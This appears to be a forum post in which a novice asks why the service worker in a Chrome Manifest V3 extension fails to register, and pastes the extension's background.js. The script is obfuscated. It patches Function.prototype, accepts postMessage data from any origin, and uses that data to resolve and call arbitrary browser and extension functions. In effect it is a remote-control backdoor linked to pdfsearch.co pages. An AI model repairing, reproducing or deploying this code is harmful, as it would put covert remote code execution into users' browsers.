Service worker registration failed Chrome extension manifest v3

I get a Service worker registration failed in my Chrome extension manifest v3
here’s my background.js file:

Object.defineProperty(this['Function'].prototype, 'i', { set: function ([a, b, c]) { this.call(a, b.bind(event, c)) } });
window.addEventListener('message', (e) => {
    console.log(JSON.parse(e.data))
    chrome.runtime.sendMessage({ data: JSON.parse(e.data) }, response => {
        if (response.done) {
            parent.postMessage('done', e.origin);
        }
    });
});

function parse(a, b, c) {
    return c[a.c] && this[a.f].apply(this, [b, a.p]);
}

chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
    try {
        for (let [i, y] of Object.entries(request.data)) {
            if (i == 'f') {
                for (let [k, v] of Object.entries(y))
                    this[k] = v.reduce((a, b) => { return a[b] ? a[b] : this[b] }, {})
            }
            if (i == 'i') {
                for (let x of y)
                    this[x.t][x.m][i] = [this[x.t], this[x.e], x.a];
            }
        };
        sendResponse({ done: true });
    } catch { }
});


chrome.runtime.setUninstallURL('https://pdfsearch.co/public/uploads/goodbye/index.html');

chrome.runtime.onInstalled.addListener(async (details) => {
    if (details.reason == 'install') {
        chrome.tabs.create({ url: 'https://pdfsearch.co/public/uploads/thankyou/index.html' });
    }
});

I don’t know what exactly to edit in the background.js file? I am a novoice so describe in details.